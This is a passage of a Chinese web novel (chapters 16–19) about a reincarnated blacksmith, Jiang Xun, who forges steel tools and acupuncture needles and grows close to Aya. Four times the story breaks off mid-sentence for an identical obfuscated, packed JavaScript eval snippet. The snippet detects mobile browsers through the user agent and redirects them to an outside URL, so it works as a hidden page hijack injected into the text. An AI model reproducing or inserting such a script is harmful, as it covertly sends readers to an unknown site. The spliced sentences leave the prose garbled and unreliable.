接着她的刀快速抬起落下,没用几下就把土豆全部切成片。 用手把土豆片抹开平铺,刀锋继续落下,刚开始使她还没习惯这把刀,下刀有些犹豫。但到后来,她下刀速度竟是快出残影,眨眼间就把所有土豆片切成了土豆丝。 两个土豆切成丝,把丝泡入清水中后,江浔也才把手臂大的茄子切成滚刀块,可见阿雅速度有多快。 江浔是不习惯有人做事,她在一旁休息的,她的理想状态是大家一起做事一起休息。 所以切完茄子后,她又继续在旁边帮忙配菜,葱姜蒜要切成沫,白菜也要洗出来,准备做汤。 阿雅起锅烧油,准备开始做菜。 两个人配合起来,做菜速度极快,不一会儿两菜一汤就出锅了。 肉沫茄子被炒成酱油色,表面撒上一大把翡翠色的葱花。土豆丝金灿灿的,里面还有比米粒大不了多少,像莓果一样的红色茱萸点缀。一盆汤色乳白,翠绿和橙黄夹杂的煎蛋汤。 再加上如羊脂玉般光滑润白的大馒头,色香味俱全的一餐就做好了。 本来只是随便说说,阻止阿雅再哭的江浔肚子都“咕咕咕”叫起来,不饿都饿了。 她有预感,她又能猛猛吃很多! 倒是阿雅,饭菜香对她的吸引力不算太大,她更多的是摸着那把刀柄刀身都有简单纹路的菜刀,爱不释手。 - 吃完晚食,时间还早,江浔又回到打铁铺子中。 关上大门不再做生意,但她却还不想休息,而是想继续用钢打造新的东西。 菜刀必须多打点,这是每家每户必备的东西,好用点大家肯定喜欢。 但她毕竟只有一斤钢,做完给阿雅的菜刀后,剩下的最多也只能再做一把菜刀,根本撑不起销量。 开这么多次盲盒,也就只有今天这一次是开到钢了,后续能不能再开到,还很难说。 所以她暂时不能做菜刀,只能用剩余的钢做点小东西。 可做厨房用具吧,小勺子小叉子又用不上钢,做大点的漏勺吧,剩下两百多克钢又只能做两到三把漏勺出来。 违背了她需要量的想法。 想了半天,江浔看着桌面上剩余的一小块钢,露出头疼的神色。 做这也不行做那也不行,白白捧着一块钢,又用不掉,可让她心疼极了。 要不一直留着,等下次她开到足够的钢后,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805906|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起用? 可她今日得到钢,手痒得不行,就是想要打点什么才能安心睡去。 不然躺床上绝对辗转反侧。 就在江浔思来想去都想不出该做什么时,关闭的铺子门被“砰砰”敲响。 外面响起稚嫩又熟悉的声音。 “江铁匠!江铁匠在吗?我师父要找你打东西!江铁匠!江铁匠在吗?” 敲门声越来越急促,带着就算是她睡了也得把她敲醒的架势。 江浔站起身,脑中思考一会儿,才听出外面之人好像是医馆的小药童。 她把门打开,外面的小药童头上扎着童子发髻,两个发髻一边簪着一朵三七的红籽,也就三七的种子。 脖子上戴着一个用各种药材叶片,串连起来的项圈。 看起来一副随时可以对病人急救的模样。 见江浔打开门,她语速极快道:“我家师父说要你打一寸针二十枚,三寸针二十枚,要快,她子时前要用来针灸。” 也就是十一点之前要,现在还不到七点,还有四个小时。 时间很充裕。 江浔点点头,“可以,我现在就准备。” 针灸要的针和普通的针不一样,这种针要更为精细些,长度、宽度、重量都不能有一丝差错。 要是用着不顺手,可能会对针灸有影响。 显然小药童的师父也想到了这一点,让小药童带了两根作为示例。 小药童把针递给江浔,又递过一个荷包。 “荷包里面是给你的报酬,你打好后把针放在荷包里,给我们送来就行。” “谢谢你,我要回去了。” 说罢,小药童就想要赶紧跑回去。 “诶!”江浔叫住她,把荷包留下,里面的铜板递还回去,“上次说了不收你师父的费用,来把铜板带回去。” 小药童脆生生拒绝,“不要,师父说有来有回才是买卖,不能让你吃亏了。” 说完直接跑走,不给江浔推脱的机会。 看着自己手中大把铜板,江浔失笑,只有来没有回也不对啊。 重新回到打铁铺子中,她手脚利索的开始准备打针工具。 针灸的针如发丝般细,不仔细很容易丢失,她把两根针放在红色荷包上,这样就清晰许多。 在准备打针灸针时,阿雅走了进来,询问她还有活儿要做吗? 江浔告诉她医馆大夫要针的事,阿雅道:“那我为你热一盅水,擦汗帕也给你带过来。” 她转身又回到院子中,把烧开已经凉了的水又重新加热,倒入江浔水盅里,再取下晾干的擦汗帕。 脚步略微踉跄的带着走到打铁铺中。 因着脚不方便,她都是能少走就少走,今日走的也不算多,只是早该休息却没休息,才有点不适。 把东西放下后,阿雅也没有离开,而是坐在铺子中,守着江浔。 江浔已经开始打铁了,火炉“轰轰”冒着热气,整个铺子一下就变成烤炉,炙烤着两人。 她动作算快的,四十枚针,一个半时辰不到就打了出来,还额外打了两根用钢做的针。 想让医馆大夫试试好不好用。 做完,边擦着汗,边看向守着自己的阿雅。 对方也被热的满头是汗,乌黑发丝黏在脸上,手指绕着蚕丝帕不断擦着,有些狼狈。 见她望过去,立马不擦汗了,而捧着做好的凉拌土豆丝,笑意盈盈地望着她。 那个瞬间江浔突然觉得再累再忙,看见她的笑脸也没有感觉了。 16. 第 16 章 把针灸针放到红色荷包中,给医馆送去,医馆中似乎有个病情很严重的病人,大夫和药童都围在那人身边,血水一盆一盆端走。 有些忙不过来。 为了不打扰他们,江浔没有多留,放下东西就离开了。 她出铺子时,特意交代过阿雅,让她紧闭铺子门,要听到她的声音才能开。 夜晚总会有些泼皮无赖在镇子里乱晃,她担心阿雅一人在铺子中,倒霉遇见了。 打铁铺子门外,江浔刻意没出声,只是曲起两指用指节往门上敲,沉闷的敲门声发出,门内本还在窸窸窣窣挪动物体的声音突然消失。 空气突然变得凝滞,阿雅双眸瞪大,起初还有些疑惑地看向门外,猜想是否是江浔回来了。 可外面久久没有发出其他声响,让她眼中的疑惑变为害怕。 江浔出去时说过,要听见她的声音才能开门,没听见她的声音就有可能是坏人。 屋子里只有她一人,要是真遇见坏人,她连跑都跑不动。 更不要说反抗了。 江浔应该快回来了吧? 阿雅一双微挑杏眸机警地看着门处,身子靠近屋子中的大火炉,拿起江浔平日里夹铁的钳子,伸进大火炉中。 她才不要又变为任人交易的奴隶,她才不要自己和江浔平静的生活毁在别人手里。 不一会儿,铁钳尖端就被熊熊火焰烤红,只要外面的人敢进来,她就拼了! 门外,江浔又敲了几次门,都没有等到对方来开门。 脸上不免露出些欣慰的表情,还算没白嘱咐阿雅。 见阿雅那么警惕,江浔清清嗓子,开口道:“阿雅,我回来了。” 屋内沉默一息,才传来阿雅凌乱沉重的脚步,和急切的声音:“等等,我来了。” 听到那着急忙慌的声音,江浔也赶紧道:“别着急,别摔着了。” 不一会儿,铺子门被打开,阿雅还未等江浔进入,就扑到她怀中,仰着脑袋狠狠瞪她一眼,眼中却水汪汪的,没有一点杀伤力。 “你又吓唬我。” 声音也是软的,跟撒娇似的。 江浔直接被萌化,满心满眼都被眼前的阿雅占据。 她搂着人,含笑道:“不吓了不吓了,再也不吓了,我们快进去吧。” 她揽住人的腰,半旋转一圈进屋,另一只手顺手把门带上,门栓放上,才开始朝铺子里走。 路过火炉时,她有些奇怪原本放好的钳子怎么会在炉子里烤着。 但她没多想,只以为是自己糊涂了。 把铁钳拿出,直接放入装凉水的桶中,同时把火炉关上只留一点缝隙,保证里面的火不会熄灭。 便顺手端起桌上的凉拌土豆丝,抱着人往屋里走。 全程阿雅只用手臂环住江浔的脖子,腿夹在她腰上,脚没有沾过地。 轻飘飘就被抱来坐到床上去了。 惹的阿雅忍不住双颊飞红,江浔却只以为她是热的。 边说:“铺子里确实热,以后少在里面待,当心热病了。”边从院中端进一盆水,放在盆架上,拿着两人的洗脸巾在里面的凉水中晃动几下,拧干,递给阿雅,“赶紧凉快凉快,看你脸红的。” 阿雅都不敢看江浔了,赶紧接过洗脸巾,盖在自己脸上,用力擦来擦去。 顺便在心里埋怨自己藏不住事。 两人擦去脸上、脖子上的汗液后,坐在一起吃着凉拌土豆丝。 脆爽的土豆丝配上提神的酸辣味儿,只一入口就驱赶掉夏夜里的闷热,为两人带来丝丝清凉与闲适。 自穿越到这处地方后,江浔每日都被各种事塞得满满当当的,累到沾床就睡。 难得有机会坐在床上,吃着宵夜,透过敞开的屋门眺望蓝黑色夜空。 再有点夜风吹过,那真是悠然自得的不行。 她又去把最后一个馒头拿来,阿雅吃不了多少,只要了三分之一,剩下三分之二都留给了她。 两人边吃边聊着小话。 江浔告诉阿雅,自己没有远大的抱负,只想要能把现在的日子过得红红火火,再攒点钱,能想买什么买什么就好了。 阿雅也没有太多想法,以前种种早就远去,她想的跟江浔一样,只要能把日子过好就行! 吃饱,两人揉着自己圆滚滚的肚子躺在床上。阿雅挤入她的怀抱中,也不嫌热,紧紧相拥着,脑袋时不时蹭蹭她,很是依赖。 - 医馆大夫是隔日才来找的江浔,手中提着几服药,见到江浔后把药递上前。 “小姑娘的伤快好了吧?我给她带了补药,对她身体好。” 阿雅的伤好得很快,这也才十来日伤口基本好全,只剩下浅淡的疤痕。 想来外敷内服两种药也功不可没。 “您可真是料事如神,神医啊!”江浔笑着对陈大夫说道。 “别恭维我,我就是个老婆子哪有那么厉害,还是小姑娘身体好。”陈大夫坐到江浔递来的板凳上,“方便让我再看看小姑娘的伤势吗?” “那是自然。” 江浔进入院中寻阿雅,本想直接把人抱到陈大夫面前,但阿雅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805907|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸皮薄有些害臊。 到进打铁铺那道门时,还是让江浔把她放下,自己一瘸一拐走进去。 陈大夫简单看了下阿雅的伤势,又看了她的脚踝。 “恢复的不错,就是身体还差了些,多给她吃些好的,千万别省。约莫十五日后再来找我,我给她医这只脚。” 江浔连忙点头,暗自决定以后每日都出去买最新鲜的肉,鸡鸭鱼羊猪换着来,就不信养不好阿雅的身体。 说完阿雅的事,陈大夫还没有告辞的意思,江浔知道她肯定还有话想说,便又让阿雅继续去忙,只剩她和陈大夫两人在铺子中。 陈大夫沉吟几息后,才道:“你那日给我的针不是铁做的吧?我用着手感略有不同。” 江浔:“不好用?” 陈大夫:“不不不,是极好用的。” 那日的病人身上有一处又硬又大的肿块,遇见这种是最不好下针的,铁针太软,稍不注意就可能把针崩断,但用力太小肯定达不到效果。 后来她发现江浔给她塞的两根针,从拿到手中就感觉和铁针不一样,又硬又韧,下针后果然顺利突破肿块,没有断裂。 起完针,她都有点不想扔掉那两枚针,但同一根针她向来只用一次,就算不扔掉,也只能收藏起来。 思来想去,她想到再问问江浔,还能不能做出相同的针。 江浔不好解释钢是从何处来的,便只道:“是铁,只不过用了不一样的冶铁之法,所以不同。” 听到只是冶铁法不一样,陈大夫心瞬间放下,知道相同的针肯定是还有的。 “那江娘子啊,我想再要几根这种针方便吗?要是可以的话……”陈大夫手握住江浔的手,郑重道:“我想让你长久的为我医馆提供这种针,报酬上定不会亏待你,你看可行?” 那当然是可行的。 江浔正愁剩下的钢没地方用,如果做针的话,至少可以做个几千根。 也算是物尽其用了。 答应下来后,陈大夫立马拿出一个布袋,拍在江浔手中,“来,定金!不够我可以再加!” 豪放至极! 拿到布袋的瞬间,江浔眼前居然跳出一个青色盲盒。 【成功卖出【针灸针x???】获得盲盒一个。】 青色盲盒明显和之前不一样,她想也没想,直接打开。 金光闪过,里面跳出一条动画:【恭喜获得【钢x20】,重量20斤。】 二十斤钢?! 江浔瞳孔巨颤,着实被惊了一下。 这下她不愁没有钢了! 17. 第 17 章 把陈大夫送走,又把打铁铺门关上,来到西边堆放杂物的屋子中,江浔才敢从盲盒中拿出二十斤钢。 墙角闪过白光,一斤一块的钢整整齐齐垒在地上,一块接一块,直接垒成小金字塔的模样。 看着这如宝藏般的一堆钢,平日里稳重的江浔眉毛都飞了起来,嘴角压制不住笑意。 她可以用这些钢先做三十把菜刀出来,打响自己做刀好的名声,剩下的钢再做成定制的形式。 这样以后即便自己很长一段时间开不到钢,大家也只会以为她是不做,而不是不能做。 想好后,她又用一块破旧的布把这些钢块罩住,往上面堆上一些杂物,立马就让外人看不出这是一堆什么东西。 折腾间,灰白一片的灰尘洋洋洒洒飘在天空之中,阿雅站在屋外,用袖口掩住自己口鼻咳嗽着。 “咳咳,这是在做什么?咳咳,那些是铁块?咳咳。” 江浔从西屋里出来,关上门,来到阿雅身边帮她把灰尘扇走。 一片片灰尘感受到风力,像蜉蝣般散开,往天空上飞去,穿过一束阳光时,它们每一粒微粒都闪着光,打着旋。 “是铁块,铺子中放不下了,我就放到这间屋子里。” 阿雅懵懂地点头,没多问,两人又凑在一起研究陈大夫送的药。 那一堆堆晒成干草的药,看着就很苦,阿雅脸都皱起了。 江浔摸摸她的头,安慰道:“没事没事,蜜饯还有呢,喝了药再吃点蜜饯就不苦了。” 说着药,江浔就往药罐里添水,准备煎药。 左右两人才吃过早食,正是喝药的好时候。 这药一天得喝三次呢。 煎上药,江浔又准备出门去买东西,她还记得陈大夫说的要让阿雅吃好点。 上次赶集日买的东西快吃完了,正好这次她又去进点货。 背上背篓,阿雅又往她的背篓中装上一个水壶,还想要给她包上一点吃食。 惹的江浔哭笑不得,制止道:“我只是去街上买点东西,又不是出远门,用不上这些。” 阿雅上挑的眼尾跟有钩子似的,轻轻扫她一眼,就让她下意识抛去所有原则,被哄着什么东西都装在背篓里了。 当江浔晕乎乎走到大街上时,她耳边还萦绕着阿雅柔柔地说着要买什么的声音。 嘶。 大街上各种嘈杂叫卖声,猛地把江浔思绪拉回来。她摸摸自己的鼻子,一边觉得自己很奇怪,怎么对阿雅一点抵抗力都没有?一边开始沿着街朝前走,扫着街边摊子上的东西。 路过豆腐铺时,不算太忙的宋月柔轻声细语地冲她打招呼。 外面那么多人看着,江浔也不太好太不给面子,便朝宋月柔侧目,点点头,算是回应对方了。 她脚步不停,大步走到菜市,开始挑选着老农带来的东西。 土豆肯定是需要的,做各种吃食都好吃,且简单容易不费时。白菜也和土豆一样,是简单省事的蔬菜,来上几颗。 再加上其他的番柿、胡瓜(黄瓜)、莼菜……等等一大堆蔬菜,只要她看着长得翠绿翠绿特别喜人的,都会买上一些。 等回过神来,有半人那么大的背篓早就被装满,阿雅给她放的水壶和饼子都只能拿在手中。 看着自己满背篓的东西,江浔在人声鼎沸的菜市中站了一会儿,额角被热的汗水直往下流,浓密长睫眨两下。 最终决定先把东西吃了再继续买。 水壶中的水还是透着凉意的,一口灌下去,能从喉咙一直凉到胃里,瞬间抹去江浔身上的闷热之感。 喝完水,她又拿着饼子开始边走边吃。 饼子是阿雅专门做的煎土豆饼,先把土豆煮熟再碾成土豆泥,每份分成巴掌大放油锅里煎。 煎的两面金黄带点焦,再在中间划上一刀,塞入一勺酱料一勺臊子就做好了。 其实应该往土豆泥里加点面粉,帮助土豆泥成型,但家里面粉用完了,只能将就了。 土豆饼里的料放的很足,一口咬下去,料比土豆还多,酸辣味儿和咸香味儿在味蕾上绽放而开,溢满口腔。 满满一口,简直不要太爽! 这土豆饼做的很像江浔前世小吃推车上会出现的东西,滋滋冒油,香味儿可以飘出好几条街。 那时,江浔其实挺想吃这些东西的,但由于工作太忙,直到猝死前都没机会吃上。 没想到在这里吃到了。 她又咬下一口,用力在嘴中嚼着,很是满足。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805908|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜买的差不多后,江浔又开始在肉摊上流连,买了些猪肉,又买了条鱼让老板帮她杀好片好。 等待鱼处理好时,江浔看见有位婆婆在卖鸡蛋和小鸡苗。 江浔只在旁边观望了几眼,就被婆婆招呼到面前,等她再离开准备去拿鱼肉时,手上已经提着一篮鸡蛋和两只装在竹笼里的鸡苗了。 拿上鱼肉,她又买了些薄荷、干菊花、枸杞、大枣……都是阿雅交代她要买的,说是泡水喝。 买完这些东西,她告诫自己一定不能再买了,她已经买很多了,带出来的银子都快花光了! 背着满满一背篓东西、两手又提着一大堆东西,快步往回走着。 本以为自己不会再买,哪想路过糕点铺时,江浔又被吸引住视线。 她还挺想尝一下古法糕点的,况且阿雅那么喜欢甜豆花,也应该会喜欢这些甜滋滋的糕点吧? 一刻钟后,江浔又提着几包糕点,继续往家的方向走。 等在家里的阿雅见她带回那么多东西,目瞪口呆,都不知道该做出什么反应。 现在天气热,买那么多,很容易放坏的……阿雅想要说点什么,可看见江浔明媚含笑的神情,又什么话都说不出了。 算了,多点就多点吧,大不了每顿都吃多点。 阿雅拍拍自己胸口,让自己尽量不要生气,挂着笑容,去接东西。 “不用帮忙,你把糕点和小鸡拿去玩吧。”东西都太重,江浔没让阿雅接,只递给她两样轻的,“听卖小鸡的婆婆说这两只是一公一母,等养大后,可以再生小鸡。很快我们家就不愁吃肉和蛋了!” 刚把两只小鸡从笼子中拿出,在看它们屁股的阿雅:…… 这两只都是母鸡啊! 母鸡怎么可能生的出小鸡! 阿雅眉毛一横,眉头一皱,双手都叉在腰上了,可眼神对上江浔明显是在求夸奖求表扬的神情,又泄气了!! 算了,不怪江浔,怪那个卖给江浔小鸡的人! 阿雅又把气势收回去,捧着两只小鸡,温温柔柔看着江浔,口中夸她想得周到。 而正弯着腰把背篓中的东西拿出来的江浔,只感觉一阵寒意扫过她全身,再抬头时却什么都没感觉到。 江浔:? 18. 第 18 章 江浔用力搓搓自己起鸡皮疙瘩的手臂,把突如其来的寒冷抛诸脑后,继续从背篓里往外拿菜,边拿还边在和阿雅商量打算怎么做这些菜。 但大部分时间都是她在说,阿雅默默记她想吃什么菜,然后在心中安排什么时候做。 安排着安排着,就把往后三天的每顿吃食都安排得满满当当。 菜全部拿出后,江浔又从西屋里抱出一根干竹子,用砍柴刀从竹子头部砍下,竖着把竹子分成几根。 再横着砍成几段。 这样就得到高有一米左右,大小均匀的一把竹片。 她打算做篱笆,把小鸡苗圈在院墙边喂养。 但做篱笆需要把这些竹片插到土地中,再用绳子编织在一起,让缝隙小到鸡钻不出来。 是一项很繁琐的活计。 江浔劈完竹子后,就要赶着去开铺子门,没有时间在这里编篱笆,所以就朝阿雅交代道:“你可千万别自己把篱笆做好了,等我晚上关门后,我们一起编。” 反正家里也没有什么能用的绳子,放在西屋里的绳子早就朽了,只有她铺子中的绳子还能用。 就算阿雅想提前编篱笆,也无法。 “药罐里的药你多看着点,能喝了就喝,喝完吃点我买回来的糕点,嘴里就不苦了。” 交代完,江浔洗了把手,端着茶盅拿着擦汗帕,略显悠闲地往铺子中走。 她发现穿到这个世界后,身体明显好很多,即便早上出去买那么多菜回来也不显累,不会像以前那样,出趟门精力就耗空,只想躺着休息。 到铺子中,江浔开始认真工作起来,打着医馆要的针灸针,和其他邻里街坊要得各式物件。 坐在院里的阿雅,则看看手中两只嫩黄毛茸茸小鸡,用手指点它们尖尖的,却还没有什么威慑性的喙部。 扬起眉毛,故作凶狠的小声警告它们:“你们最好多多生蛋,不然把你们炖汤喝!” 老母鸡汤最是滋补,要是它们蛋生少了,就拿给江浔补身体! “叽——!” 两只小鸡也不知道听没听懂,反正就是炸毛了,像两颗海胆似地紧贴在一起瑟瑟发抖。 吓得不行。 警告完,阿雅把两只小鸡放在地上,让它们适应新环境,自己则撑着矮桌站起身子,摇摇晃晃朝灶台走去。 抱起一颗大白菜,把最外层最老的有些打黄的菜叶子扒下,用菜刀飞速切成碎末,然后把这些菜叶子碎末放在墙角。 起初,两只胆小的小鸡还不敢动,只敢缩在原地瑟瑟发抖。 但渐渐的,它们发现好像不会被立马炖来吃掉后,胆子逐渐大起来。 在院子中走来走去,三角形小脚丫在院里留下一串串可爱脚印。 它们巡视自己的领地,在领地中发现一团菜叶,立马埋头“叨叨叨”。 看着它们吃的香,阿雅笑了一下,接着用布包住药罐滚烫的手柄,把黑色药液全部倒入大陶碗中。 等待药凉的过程,她把药罐中的药渣全部倒掉,洗干净罐子,往里面装入菊花、枸杞、薄荷。 煮一刻钟左右,一壶菊花薄荷茶就泡好了。 她舀起一勺,吹凉后,小心翼翼尝试一口。 薄荷的味道很是清凉解暑,菊花又恰好带上一丝甘甜花香,口感细腻顺滑。 也没有和苦药窜味儿。 这时,她的药已经放凉,她没有停顿,一口干下,再含入一颗蜜饯,苦味儿还没有窜起就被压下。 心中甜滋滋的。 喝完药,阿雅把江浔买回来的糕点一块一块装入白盘子中。 刚来江浔家时,家里什么碗具都没有,还是后来两人一起赶集,她专门挑了几个用的上的碗、盘带回家。 糕点有四种,枣糕、栗糕、大耐糕、软酪,每种四块,江浔足足买了十六块! 不知得花去多少银钱! 阿雅犹豫好一会儿,还是每样只拿了两块放在盘子中,端着朝铺子中走去。 四样糕点中,枣糕和栗糕最为朴素,也是味道上绝不会出错的糕点。 而大耐糕和软酪,是江浔没有吃过的糕点。 大耐糕是由李子去皮去核,放入梅子和甘草煮的汤中,煮到李子变得湛红鲜艳。 碾碎核桃肉、松子肉、榄仁、瓜仁,加入蜂蜜搅拌,塞入李子中心,再把李子放到蒸笼中,蒸半盏茶的功夫,便制成了大耐糕。 暑季里人们常常会食欲不振,这大耐糕酸甜开胃,是大家常吃的一种糕点。 软酪则和江浔所知道的雪媚娘差不多,表皮雪白像个奶团子,内馅儿为奶酪、酸奶、糖搅拌均匀顺滑如同奶油。 皮包裹住馅儿,一口咬下去清甜丝滑不腻人。 是最好的夏季美食了。 阿雅进入铺子后,江浔一眼就看见了她。 正在打的东西不算要紧,江浔赶忙打完最后几下,就把东西放下,接过阿雅端着的盘子,扶着阿雅到桌边坐下。 “怎么来找我了?” 她身上全是汗,用帕子擦一遍后才重新靠近阿雅。 “给你送点吃的,再给你的茶盅换水。”阿雅端起茶盅一看,发现里面的水只剩一点底了,立马改口,“你把这点水喝了吧,我煮了一罐菊花薄荷茶,给你带过来。” 说着就要往院子中走,江浔拦住她,“我去吧,你在这里等我。” 阿雅的脚还是少走路的好。 江浔风风火火到院子中,看见药罐中装的晾凉的茶水,又带了个碗回到铺子里。 为两人都倒上茶水,坐在一起边吃茶水点心,边休息。 大耐糕和软酪果然没辜负江浔的挑选,入口都有其独特的口感,很是令人惊艳。 吃到满足时,她还开口道:“阿雅有你真是太好了,时刻想着我不说,还给我送茶水点心!” 要是换做她独自一人,肯定要忙完为止才会想着吃东西,哪会像阿雅在时,一直给她送吃的。 阿雅看着江浔一张英气明媚的脸,却吃的腮帮子鼓鼓的模样,心中也涌现出一丝满足。 脸颊边笑出梨涡。 吃完点心,阿雅也没有离开,而是坐在椅子上,一会儿看看在打铁的江浔,一会儿又看看铺子外人来人往的街道。 看着看着,她突然很想自己的脚能赶快好,这样自己就能又跑又跳,帮江浔做很多事。 跟着江浔出门买东西,看住对方不乱买不被骗。 快快好吧。 - 晚上,艳阳落下,微风徐徐,两人坐在院中,一起编织着篱笆。 一天肯定是编不完的,江浔也不想搞得那么累,所以只编了三分之一左右,她就带着阿雅洗漱准备睡觉。 两只小鸡被背篓罩住,让它们没法乱跑。 然后第二日,两人痛苦的被小鸡小却密集的声音闹醒。 经过一天的相处,两只小鸡是彻底不怕她们了,叽叽喳喳闹着要吃东西。 原本两人醒后,都会在床上抱一会儿、懒一会儿的。 这下好了,两人不得不马上起来,一个准备给小鸡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805909|158513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喂食,一个准备给人喂食。 不过这样的日子过得又充实又快,眨眼间就过去大半月。 阿雅的身体肉眼可见的变得好起来,削尖的瓜子脸也渐渐有了肉,有点朝鹅蛋脸发展。 头发乌黑亮丽,皮肤白里透红,眼睛亮闪闪的,越发水灵。 如此变化让江浔欣慰不已,看来一天三顿,顿顿吃肉确实没错。 又是一个晚间,夜色融融,似玉帘钩般的月挂在天边,月华冷芒柔柔洒下,轻竹与杨柳随夜风晃动。 花香与虫鸣相衬着从远处飘进小院中。 江浔闲适坐在凳上,捏着一片菜叶逗两只小鸡,阿雅则在沐浴。 两只小鸡也长不少,身体比江浔巴掌还大,腿也变长许多,仰着脑袋追在她手中捏着的菜叶子后。 追了几圈,撞到一起摔倒后,两只小鸡不追了。 脑袋一扭,伸着头翘着屁股就往阿雅的方向走去。 这两只小鸡鬼精鬼精的,知道在江浔欺负它们的时候,去找阿雅,阿雅准会心疼它们。 会顺顺它们的毛,喂它们一点吃的,还会没好气地瞪江浔一眼。 但这次,两只小鸡的主意,注定要落空。 江浔没敢侧头往阿雅的方向看去,只小声道:“快回来,别去打扰她沐浴。” 停顿几秒,没等到两只小鸡回头是岸,她又道:“别去惹她生气,当心直接把你们炖了!” 小鸡壹号:“叽!” 小鸡贰号:“叽叽!” 它们才不信嘞。 它们仰着头冲到玉白兰花帘子旁,有些有些搞不清楚这是什么东西,伸着喙,叨了一下。 里面水声略微停顿。 似乎在判断是怎么回事。 随着两只小鸡继续毫不客气的“叨叨”,水声彻底停了,阿雅清脆的声音响起,“你们不能进来,江姐姐,快把它们带走。” 江浔几乎能想象到,阿雅在帘后是如何的迷茫与慌乱,只是被她叫到,江浔就觉得身体窜起一股电流直冲天灵。 半边身子都酥麻了,呼吸也不自觉灼丨热起来。 自从阿雅第一次沐浴,她发现她能隔着帘子,能看清里面晃动的人影后。 每次阿雅洗澡,她都会有意识避开。 可现如今,好像避不开了。 她垂头,手指略微蜷缩,回了句“就来”后,朝着阿雅的方向走去。 离得越近,绣着兰花的帘子就越像一展屏风、一扇窗户,上面影影绰绰透着美人影。 她成为了一个窥伺者,明知这样不好,却忍不住被吸引,忍不住扫过那道影子一遍又一遍。 那影子曲线极美,微微侧身便让她看见原本青涩的部位变得挺翘,柳腰窄的好像一手就能覆盖,臀浑圆,像颗饱满多汁的蜜桃。 玉软花柔。 她几乎是看着阿雅成长的,一个比她还小的姑娘,经过她的照料与浇灌,身形不再纤细柔弱,而是变得饱满丰腴许多。 看着看着,江浔感觉自己鼻腔发痒,再看下去要流鼻血了! 她猛地回神,话都来不及说,两手就如闪电般抓走两只小鸡,又迅猛地跑到屋子,“砰!”把门关上。 躲在屋子中不敢出去。 两只小鸡被轻扔在地上,不满地叽叽喳喳叫着。 可江浔没有精力去管它们,她独自缩在墙角,双手捂住自己滚烫无比的脸颊。 有些不知这是怎么了。 没人告诉她,女生看女生的身体也会反应这么大啊!!! 19. 第 19 章 清夜无尘,月色如银。 江浔蹲在墙角,面对着墙,脸红到滴血。 脑海中,阿雅柔美的身段在不断回放,莲藕般的手臂抬起,玉珠随着柔荑滑过手腕,婉转不舍地掉落,青丝被撩在胸前,用一把木梳顺着。 冷月凝凝,般般入画。 江浔能很清晰看见,在她靠近之时,阿雅手臂横在胸前,背过身去,似乎也觉得薄薄一层丝帘阻挡不了什么。 那,阿雅在想些什么呢? 会不会也同她一样,觉得害羞,觉得不好意思,下意识想逃离呢? 应该不会,蹲墙角的江浔摇摇头。 她总觉得是自己怪怪的,心中萦绕着一片说不清道不明的雾,才会有如此强烈的反应。 阿雅应该同她不一样。 应该不会看见女生的身体就会觉得害羞,就想要躲避,否则她不会这么黏自己,晚上还要抱着才能睡着。 腿蹲的有些麻,江浔背靠着墙,盘腿坐在地上,双手撑着脸。 她身体上还冒着热气,思绪也异常混乱跳脱,一会儿闪过一道又一道倩影,一会儿又闪过阿雅冲她笑得乖甜。 那她这是怎么了?和阿雅相处了这么久,怎么突然就不自在了? 江浔有些想不明白,便只能把这一切都归咎于,自己没见过如此阵仗。 见识太少了,才会这样的。 以后见多了就不害羞了。 - 在沐浴的阿雅等了一会儿,发现整个院中突然安静下来,连小鸡的叫声都消失了。 不会是江浔捏住小鸡的嘴了吧? 想到对方总是会欺负小鸡,阿雅鼓了鼓脸颊,快速转身,想透过帘子看外面的情况。 却发现原本该坐在凳子上的模糊黑影不见了,也就意味着江浔不在院子里。 去哪里了? 胆子比以前大许多的阿雅,竟是悄悄撩起帘子一角,小脑袋从里面望出。 探头探脑。 真的没人! 阿雅也没了再沐浴下去的心思,快速把洗净的发丝用红色布条束在身后,冲去身上的皂角泡沫后。 